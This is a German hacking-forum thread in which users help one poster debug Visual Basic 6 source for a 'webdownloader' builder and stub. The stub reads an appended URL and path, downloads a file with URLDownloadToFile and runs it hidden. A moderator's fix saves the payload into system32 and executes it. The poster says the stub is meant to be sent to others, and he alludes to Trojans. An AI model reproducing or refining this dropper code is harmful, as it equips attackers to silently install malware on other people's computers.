|
| Autor |
Nachricht |
RaG3!_ Poster

Anmeldedatum: 26.07.2007 Beiträge: 104
|
Webdownloader Problem (Builder oder Server?)
Verfasst am: 11.12.2007, 17:00 |
|
|
Hallo,
ich bin grad dabei einen Webdownloader mit Builder zu erstellen nach den Tutorials von enco und Zig.
Es klappt soweit auch gut, das Builder-Tutorial habe ich auch verstanden.
Es wird ein Server erstellt, jedoch wenn ich denn ausführe kommt eine Fehlermeldung.
| Zitat: | Laufzeitfehler '424':
Objekt erforderlich |
Ich finde keinen Fehler , könnt ihr mir helfen?
Builder Source Code:
| Code: |
Private Sub cmd_create_Click()
Dim buffer() As Byte
buffer = LoadResData(101, "CUSTOM")
Open (App.Path & "\server.exe") For Binary As #1
Put #1, , buffer
Close #1
Dim options As String * 100
options = txt_eingabe.Text & "#" & txt_ausgabe.Text & "#"
Open (App.Path & "\server.exe") For Binary As #1
Put #1, LOF(1) + 1, options
Close #1
End Sub
Private Sub cmd_search_Click()
Dim Path As String
With cd
.Filter = "Ausführbare Datein (*.exe) | (*.exe)"
.ShowSave
Path = cd.FileName
txt_ausgabe.Text = Path
End With
End Sub
|
Server Source Code:
| Code: | Private Declare Function URLDownloadToFile Lib "urlmon" Alias _
"URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, ByVal _
szFileName As String, ByVal dwReserved As Long, ByVal ipfnCB As Long) As Long
Private Sub Form_Load()
Dim file As String, options As String * 100, cmd() As String
file = (App.Path & "\" & App.EXEName & “.exe”)
Open file For Binary As #1
Get #1, (LOF(1) - 99), options
cmd() = Split(options, "#")
Returnvalue = URLDownloadToFile(0, txt_eingabe.Text, txt_ausgabe.Text, 0, 0)
End Sub
|
Die Res-Datei ist auch dabei.
Ich hoffe ihr könnt mir helfen
MFG |
|
| |
|
 |
ZiG_ Überflieger

Anmeldedatum: 07.03.2007 Beiträge: 1248
|
Verfasst am: 11.12.2007, 18:03 |
|
|
Ähm, im server rufst du die Api UrlDownloadToFile auf und übergibst ihr aber nicht die ausgelesenen Sachen aus options bzw. cmd() sondern txt_eingabe und txt_ausgabe.
Diese Textfelder werden ja wohl nicht im server vorhanden sein. Und wenn doch, dann sind dort aber nicht die Infos aus cmd() drinnen. Wer nicht auf seine Weise denkt, denkt überhaupt nicht. (Oscar Wilde) |
|
| |
|
 |
RaG3!_ Poster

Anmeldedatum: 26.07.2007 Beiträge: 104
|
Verfasst am: 11.12.2007, 18:17 |
|
|
Also, ich verstehe was du meinst
Ich muss dann im Server die txt_eingabe /txt_ausgabe durch cmd(0) und cmd(1) ersetzen? |
|
| |
|
 |
ZiG_ Überflieger

Anmeldedatum: 07.03.2007 Beiträge: 1248
|
Verfasst am: 11.12.2007, 19:09 |
|
|
Ja. Wer nicht auf seine Weise denkt, denkt überhaupt nicht. (Oscar Wilde) |
|
| |
|
 |
RaG3!_ Poster

Anmeldedatum: 26.07.2007 Beiträge: 104
|
Verfasst am: 11.12.2007, 19:15 |
|
|
Danke schonmal , Problem besteht aber weiterhin.
Veränderter Code des Servers
| Code: | Private Declare Function URLDownloadToFile Lib "urlmon" Alias _
"URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, ByVal _
szFileName As String, ByVal dwReserved As Long, ByVal ipfnCB As Long) As Long
Private Sub Form_Load()
Dim file As String, options As String * 100, cmd() As String
file = (App.Path & "\" & App.EXEName & “.exe”)
Open file For Binary As #1
Get #1, (LOF(1) - 99), options
cmd() = Split(options, "#")
Returnvalue = URLDownloadToFile(0, cmd(0), cmd(1), 0, 0)
End Sub
|
Gleiche Fehlermeldung erscheint |
|
| |
|
 |
c0re_ « Moderator »

Anmeldedatum: 29.11.2007 Beiträge: 425
|
Verfasst am: 11.12.2007, 19:28 |
|
|
Was ist wenn ich dir sage, dass es an den "" liegt? :>
| Code: | | file = (App.Path & "\" & App.EXEName & “.exe”) |
Hinten bei “.exe” musst du einfach diese "" verwenden.  |
|
| |
|
 |
RaG3!_ Poster

Anmeldedatum: 26.07.2007 Beiträge: 104
|
Verfasst am: 11.12.2007, 19:33 |
|
|
Hab ich gar icht gesehen, aber es klappt immer noch nicht -_-
Danke trotzdem
Evtl uppe ich gleich mal das projekt |
|
| |
|
 |
c0re_ « Moderator »

Anmeldedatum: 29.11.2007 Beiträge: 425
|
Verfasst am: 11.12.2007, 19:34 |
|
|
| Wäre gut, vielleicht hast du noch merh solche kleinen Fehler. Mit dem klein Codeausschnitt hat es bei mir jetzt funktioniert. Also nur das Pfad in TextBox anzeigen lassen. |
|
| |
|
 |
ZiG_ Überflieger

Anmeldedatum: 07.03.2007 Beiträge: 1248
|
Verfasst am: 11.12.2007, 19:40 |
|
|
Die falschen Anführungsstriche sind ein Problem wenn man einfach den Code aus dem Tutorial kopiert.
Hab die tuts in MS Word geschrieben und der ersetzt die einfach. Wer nicht auf seine Weise denkt, denkt überhaupt nicht. (Oscar Wilde) |
|
| |
|
 |
RaG3!_ Poster

Anmeldedatum: 26.07.2007 Beiträge: 104
|
Verfasst am: 11.12.2007, 20:01 |
|
|
Hab den Fehler ja behoben,die Resdatei liegt bei.
Wäre nett wenn sich jemand das mal angucken würde
http://rageweb.ra.ohost.de/server_builder.rar
MFG
Zuletzt bearbeitet von RaG3!_ am 11.12.2007, 21:02, insgesamt einmal bearbeitet |
|
| |
|
 |
Rausch_ Poster

Anmeldedatum: 03.11.2007 Beiträge: 164
|
Verfasst am: 11.12.2007, 20:38 |
|
|
also habs mir mal angeguckt, also res datei erst mal erneuern!!
dann muss natürlich bei:
URLDownloadToFile(0, cmd(0), cmd(1) & "test.rar", 0, 0)
naturlich muss nicht nur der pfad sondern auch der name eingegeben werden!
am einfachsten aus dem download link den name auslesen mit:
| Code: |
dim data() as string
data() = Split(cmd(0),"/")
URLDownloadToFile(0, cmd(0), cmd(1) & data(UBound(data)), 0, 0)
|
mfg |
|
| |
|
 |
RaG3!_ Poster

Anmeldedatum: 26.07.2007 Beiträge: 104
|
|
| |
|
 |
c0re_ « Moderator »

Anmeldedatum: 29.11.2007 Beiträge: 425
|
Verfasst am: 11.12.2007, 23:17 |
|
|
Hab dir mal alles gefixt. Habe 2 Ordner gemacht. Einmal mit dem eigentlichen Code und einmal Download, speichern auf "C:\Windows\system32\downloaded.exe" und ausführen, Weil mir nicht ganz klar war, warum du einen Server brauchst um eine Datei nur herunterzuladen. :>
http://rapidshare.com/files/75923044/Webdownloader.rar
Viel Spaß beim weitercoden.  |
|
| |
|
 |
RaG3!_ Poster

Anmeldedatum: 26.07.2007 Beiträge: 104
|
Verfasst am: 12.12.2007, 15:18 |
|
|
Der Server soll zum verschicken sein , auch wenn ich hoffe dass der Sinn eines WEbdownloader nicht nur Trojaner sind
Wenn der Server dann ausgeführt wird, soll er eine bestimmte Datei laden
Edit: Jetzt fällt mir ja ein, es macht gar keinen Sinn den Commondialog einzubauen -_-, wenn der Server verschickt wird ^^
Naja, ich schau's mir mal weiter an. Vielen Dank
Edit2:
Argh, es will schon wieder nicht klappen
Wieder kommt eine Fehlermeldung beim Ausführen des Servers
| Code: | Private Declare Function URLDownloadToFile Lib "urlmon" Alias _
"URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, ByVal _
szFileName As String, ByVal dwReserved As Long, ByVal ipfnCB As Long) As Long
Private Sub Form_Load()
Dim file As String, options As String * 100, cmd() As String
file = (App.Path & "\" & App.EXEName & ".exe")
Open file For Binary As #1
Get #1, (LOF(1) - 99), options
cmd() = Split(options, "#")
Close #1
Returnvalue = URLDownloadToFile(0, cmd(0), cmd(1), 0, 0)
Shell cmd(1), vbHide ' versteckt ausführen
' hier Pause und dann
' Unload Me
Unload Me
End Sub
|
Es erscheint folgende Fehlermeldung:
| Zitat: | Laufzeitfehler 5:
Ungültiger Prozeduraufruf oder ungültiges Argument |
|
|
| |
|
 |
c0re_ « Moderator »

Anmeldedatum: 29.11.2007 Beiträge: 425
|
Verfasst am: 12.12.2007, 15:38 |
|
|
| Was genau hast du nun verändert? Nur das Unload Me? Kann sein, dass die Prozedur noch nicht fertig wird. Deswegen hab ich ja geschrieben du sollst eine Pause einbauen. ;> |
|
| |
|
 |
Rausch_ Poster

Anmeldedatum: 03.11.2007 Beiträge: 164
|
Verfasst am: 12.12.2007, 15:40 |
|
|
also verändere deinen code wie ich dir vorhin vorgeschlagen habe,
erneuere die res datei
nun erstelle dir einen webdownloader den du server.exe nennst
dann kopierst du ihn in das verzeichnis indem du auch die server.vbp hast(das projekt)
nun öffnest du da projkt und änderest
| Code: |
file = (App.Path & "\" & App.EXEName & ".exe")
|
zu
| Code: |
file = (App.Path & "\server.exe")
|
nun drückst du f5 um dein programm zu testen, und siehst genau wo der fehler liegt.
mfg |
|
| |
|
 |
RaG3!_ Poster

Anmeldedatum: 26.07.2007 Beiträge: 104
|
Verfasst am: 12.12.2007, 18:18 |
|
|
Es geht nicht, ich glaube ich suche die Fehler bei mir oder beginne ein anderes Projekt
Wenn ich dann doch wieder wasverändere, kommt eine neue Fehlermeldung, trotzdem danke Rausch.
Es ist doch eig so richtig in der Reihenfolge:
Ich erstelle den Server, füge diesen als benutzerdefinierte Resource dem Builder hinzu.
MFG |
|
| |
|
 |
c0re_ « Moderator »

Anmeldedatum: 29.11.2007 Beiträge: 425
|
Verfasst am: 12.12.2007, 18:25 |
|
|
| Das Projekt, das ich geuppt habe, hat aber gefunzt? |
|
| |
|
 |
RaG3!_ Poster

Anmeldedatum: 26.07.2007 Beiträge: 104
|
Verfasst am: 12.12.2007, 18:36 |
|
|
Wie füg ich eine Pause ein ? |
|
| |
|
 |
c0re_ « Moderator »

Anmeldedatum: 29.11.2007 Beiträge: 425
|
Verfasst am: 12.12.2007, 18:44 |
|
|
Gibt verschiedene Möglichkeiten. Aber ich glaube alle frieren das Programm kurzzeitig ein.
Über Timer kannst du es so regeln:
| Code: | Dim later As String
Dim now As String
spaeter = Timer + 2 ' 2 Sekunden Pause
While jetzt < spaeter
DoEvents
jetzt = Timer
Wend |
Mit Sleep Funktion folgendermaßen:
Private Declare:
| Code: | | Declare Sub Sleep Lib "kernel32" (Byval dwMilliseconds As Long) |
Dann im Codeverlauf die Pause:
| Code: | | Sleep 2000 ' 2 Sekunden Pause |
Gibt noch mehr Möglichkeiten aber wenn du Sleep benutzt hast du bei mehreren Pausen fast nen Sysfucker. ;> |
|
| |
|
 |
RaG3!_ Poster

Anmeldedatum: 26.07.2007 Beiträge: 104
|
Verfasst am: 12.12.2007, 18:46 |
|
|
Also dein Ordner Working + execute klappt :>
Ich schau mal, ob es eine Möglichkeit gibt, dieses Code zu verfeinern ;D
Danke dir vielmals |
|
| |
|
 |